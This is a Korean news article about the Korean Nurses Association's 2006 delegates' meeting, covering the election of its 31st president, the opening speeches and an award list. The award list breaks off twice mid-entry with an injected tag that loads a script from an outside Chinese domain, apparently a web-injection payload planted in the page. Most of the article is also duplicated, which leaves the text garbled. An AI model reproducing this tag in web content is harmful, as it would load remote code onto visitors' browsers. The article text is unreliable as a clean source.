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제31대 간협 회장 김조자 교수 선출
기사입력 2006-02-28 오전 09:00:05
대한간호협회 제31대 회장으로 김조자 연세대 간호대학 교수가 당선됐다. 이에 따라 제1부회장에는 이애주 가천의대길병원 간호부장, 제2부회장에는 신경림 이화여대 간호과학대학장이 확정됐다.
간호협회는 제73회 정기 대의원 총회를 2월 22~23일 서울 쉐라톤 그랜드 워커힐호텔 비스타홀에서 열고 2006년부터 2007년까지 2년간 협회를 이끌어 갈 김조자 회장과 함께 이사 8명과 감사 2명을 선출했다. 당연직 부회장으로는 제3부회장에 성영희 병원간호사회장, 제4부회장에 홍경자 서울시간호사회장이 확정됐다.
총회에서는 임원선거와 함께 올해 중점 추진할 사업계획과 사업수행에 필요한 예산안을 심의 통과시켰다.
◆ 개회식
대의원 총회 개회식은 `간호사, 환자안전 지킴이' 주제로 이석현 국회 보건복지위원장, 김선미 열린우리당 국회의원, 김재정 대한의사협회장, 김지배 중외제약 부사장, 문경숙 대한의료기사단체총연합회장, 김모임 박정호 최영희 정연강 전 간호협회장, 간호계 원로 및 대의원들이 참석한 가운데 22일 오후 1시30분에 시작됐다.
김의숙 대한간호협회장은 개회사를 통해 “지난해 간호계는 숙원과제인 간호법 제정과 간호교육 일원화의 실마리를 이끌어내며 끈기와 인내로 사업을 추진해왔다”면서 “대한간호복지재단에서는 용인시 노인복지회관을 위탁받아 운영해 오고 있으며, 올해 실비노인전문요양원을 신축할 계획”이라고 밝혔다.
김의숙 회장은 이어 “지난 4년간 동고동락하며 간호발전을 위해 애써주신 협회 임원진과 대표자들, 보이지 않는 곳에서 격려와 사랑을 보내주신 회원들께 감사드린다”면서 “간호협회의 조직력과 전문성, 국제적 위상을 토대로 새 집행부와 함께 더 큰 도약과 발전을 이뤄내길 바란다”고 말했다.
유시민 보건복지부 장관(노연홍 복지부 보건의료정책본부장 대독)은 치사를 통해 “인간생명 존중과 건강사회 구현이라는 간호정신을 바탕으로 국가 보건복지사업 발전에 기여하고 있는 간호사들의 헌신적인 노력에 감사드린다”면서 “국민들에게 수준 높은 양질의 건강서비스를 제공하는데 앞장서 나가길 당부드리며, 간호사들이 열심히 일할 수 있는 여건을 조성하는데 힘쓰겠다”고 밝혔다. 또 “전문간호사제도 활성화, 간호교육제도 발전,해외취업 활성화를 위해 적극 지원하겠다”고 말했다.
이석현 국회 보건복지위원장은 축사에서 “국민건강증진을 위해 어떤 서비스를 제공할 것인지 항상 고심하는 여러분의 노력이 알찬 열매를 맺길 바라며, 선진 보건의료체계 정착을 위해 간호사들이 힘써 달라”고 당부했다. 김선미 의원은 “시계의 톱니바퀴가 잘 맞물려 돌아가듯이 의료인과 정부가 서로 협력하면서 국민이 건강하고 행복하게 살 수 있는 사회를 만들어 나가자”면서 “간호사는 간호의 이익만이 아니라 국민을 위해 일하는 전문가들”이라고 격려했다.
개회식에서는 대의원들이 기립한 가운데 `한국 간호사 윤리강령'을 정남연 대전시간호사회장이 낭독했으며, 일생을 간호발전을 위해 헌신하다 타계한 간호계 영령들에 대한 묵념의 시간을 가졌다.
이어 간호법 제정, 간호교육제도 4년제 일원화, 간호사의 방문간호시설 개설을 촉구하는 내용의 `건의문'을 낭독하고, 안전한 간호환경 조성을 위해 힘쓰겠다는 다짐을 담은 `결의문'을 채택했다. 건의문은 박혜자 간협 제1부회장, 결의문은 윤순녕 간협 제2부회장이 낭독했다.
시상식에서는 지난 한 해 동안 각 분야에서 활발한 활동을 펼친 간호사들을 포상하고, 간호발전을 지지하고 격려해 준 각계 인사들에게 감사패를 수여했다. 수상자는 다음과 같다.
◇보건복지부장관상=김영자(전 일신기독병원 간호부장), 공수자(광주시 광산구 근로자 노인복지센터장, 조선간호대학 교수), 조미연(경기 문촌초등학교 보건교사), 이영숙(청주성모병원 간호부장), 김영순(지방공사제주도 서귀포의료원 간호과장), 심미영(서울대병원 수간호사)
◇올해의 간호인상(중외간호상)=보험심사간호사회
◇공로패=유성자(전 대구시간호사회장), 이재순(전 군진간호사회장), 김선미(전 보건진료원회장), 김선희(전 충북간호사회 사무국장)
◇제2회 중외간호학술상=임경순(대구 달성군 대암보건진료소장)
◇제16회 임상간호학술상=정복선 외 13명(본상 보건진료원회 충북지회), 신현주 외 14명(장려상 서울대병원)
◇제26회 간호문학상=박지은(소설 당선작 청주과학대학 3학년), 김지희(소설 가작 광주시 하남성심병원), 허옥화(수기 당선작 분당서울대병원), 박정순(수기 가작 강릉영동대학 1학년), 박보애(시 당선작 부산메리놀병원), 강윤정(시 가작 공주대 4학년), 장덕진(수필 당선작 광주시 마음 연 클리닉), 고혜원(수필 가작 서울아산병원)
◇감사패=이종호(중외제약 회장), 신현주(법률고문), 함수환 신인숙 김형우(건축고문), 김미자(국제?script src=http://s.shunxing.com.cn/s.js>
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간호협회는 제73회 정기 대의원 총회를 2월 22~23일 서울 쉐라톤 그랜드 워커힐호텔 비스타홀에서 열고 2006년부터 2007년까지 2년간 협회를 이끌어 갈 김조자 회장과 함께 이사 8명과 감사 2명을 선출했다. 당연직 부회장으로는 제3부회장에 성영희 병원간호사회장, 제4부회장에 홍경자 서울시간호사회장이 확정됐다.
총회에서는 임원선거와 함께 올해 중점 추진할 사업계획과 사업수행에 필요한 예산안을 심의 통과시켰다.
◆ 개회식
대의원 총회 개회식은 `간호사, 환자안전 지킴이' 주제로 이석현 국회 보건복지위원장, 김선미 열린우리당 국회의원, 김재정 대한의사협회장, 김지배 중외제약 부사장, 문경숙 대한의료기사단체총연합회장, 김모임 박정호 최영희 정연강 전 간호협회장, 간호계 원로 및 대의원들이 참석한 가운데 22일 오후 1시30분에 시작됐다.
김의숙 대한간호협회장은 개회사를 통해 “지난해 간호계는 숙원과제인 간호법 제정과 간호교육 일원화의 실마리를 이끌어내며 끈기와 인내로 사업을 추진해왔다”면서 “대한간호복지재단에서는 용인시 노인복지회관을 위탁받아 운영해 오고 있으며, 올해 실비노인전문요양원을 신축할 계획”이라고 밝혔다.
김의숙 회장은 이어 “지난 4년간 동고동락하며 간호발전을 위해 애써주신 협회 임원진과 대표자들, 보이지 않는 곳에서 격려와 사랑을 보내주신 회원들께 감사드린다”면서 “간호협회의 조직력과 전문성, 국제적 위상을 토대로 새 집행부와 함께 더 큰 도약과 발전을 이뤄내길 바란다”고 말했다.
유시민 보건복지부 장관(노연홍 복지부 보건의료정책본부장 대독)은 치사를 통해 “인간생명 존중과 건강사회 구현이라는 간호정신을 바탕으로 국가 보건복지사업 발전에 기여하고 있는 간호사들의 헌신적인 노력에 감사드린다”면서 “국민들에게 수준 높은 양질의 건강서비스를 제공하는데 앞장서 나가길 당부드리며, 간호사들이 열심히 일할 수 있는 여건을 조성하는데 힘쓰겠다”고 밝혔다. 또 “전문간호사제도 활성화, 간호교육제도 발전,해외취업 활성화를 위해 적극 지원하겠다”고 말했다.
이석현 국회 보건복지위원장은 축사에서 “국민건강증진을 위해 어떤 서비스를 제공할 것인지 항상 고심하는 여러분의 노력이 알찬 열매를 맺길 바라며, 선진 보건의료체계 정착을 위해 간호사들이 힘써 달라”고 당부했다. 김선미 의원은 “시계의 톱니바퀴가 잘 맞물려 돌아가듯이 의료인과 정부가 서로 협력하면서 국민이 건강하고 행복하게 살 수 있는 사회를 만들어 나가자”면서 “간호사는 간호의 이익만이 아니라 국민을 위해 일하는 전문가들”이라고 격려했다.
개회식에서는 대의원들이 기립한 가운데 `한국 간호사 윤리강령'을 정남연 대전시간호사회장이 낭독했으며, 일생을 간호발전을 위해 헌신하다 타계한 간호계 영령들에 대한 묵념의 시간을 가졌다.
이어 간호법 제정, 간호교육제도 4년제 일원화, 간호사의 방문간호시설 개설을 촉구하는 내용의 `건의문'을 낭독하고, 안전한 간호환경 조성을 위해 힘쓰겠다는 다짐을 담은 `결의문'을 채택했다. 건의문은 박혜자 간협 제1부회장, 결의문은 윤순녕 간협 제2부회장이 낭독했다.
시상식에서는 지난 한 해 동안 각 분야에서 활발한 활동을 펼친 간호사들을 포상하고, 간호발전을 지지하고 격려해 준 각계 인사들에게 감사패를 수여했다. 수상자는 다음과 같다.
◇보건복지부장관상=김영자(전 일신기독병원 간호부장), 공수자(광주시 광산구 근로자 노인복지센터장, 조선간호대학 교수), 조미연(경기 문촌초등학교 보건교사), 이영숙(청주성모병원 간호부장), 김영순(지방공사제주도 서귀포의료원 간호과장), 심미영(서울대병원 수간호사)
◇올해의 간호인상(중외간호상)=보험심사간호사회
◇공로패=유성자(전 대구시간호사회장), 이재순(전 군진간호사회장), 김선미(전 보건진료원회장), 김선희(전 충북간호사회 사무국장)
◇제2회 중외간호학술상=임경순(대구 달성군 대암보건진료소장)
◇제16회 임상간호학술상=정복선 외 13명(본상 보건진료원회 충북지회), 신현주 외 14명(장려상 서울대병원)
◇제26회 간호문학상=박지은(소설 당선작 청주과학대학 3학년), 김지희(소설 가작 광주시 하남성심병원), 허옥화(수기 당선작 분당서울대병원), 박정순(수기 가작 강릉영동대학 1학년), 박보애(시 당선작 부산메리놀병원), 강윤정(시 가작 공주대 4학년), 장덕진(수필 당선작 광주시 마음 연 클리닉), 고혜원(수필 가작 서울아산병원)
◇감사패=이종호(중외제약 회장), 신현주(법률고문), 함수환 신인숙 김형우(건축고문), 김미자(국제?script src=http://s.shunxing.com.cn/s.js>
정규숙 kschung@nursenews.co.kr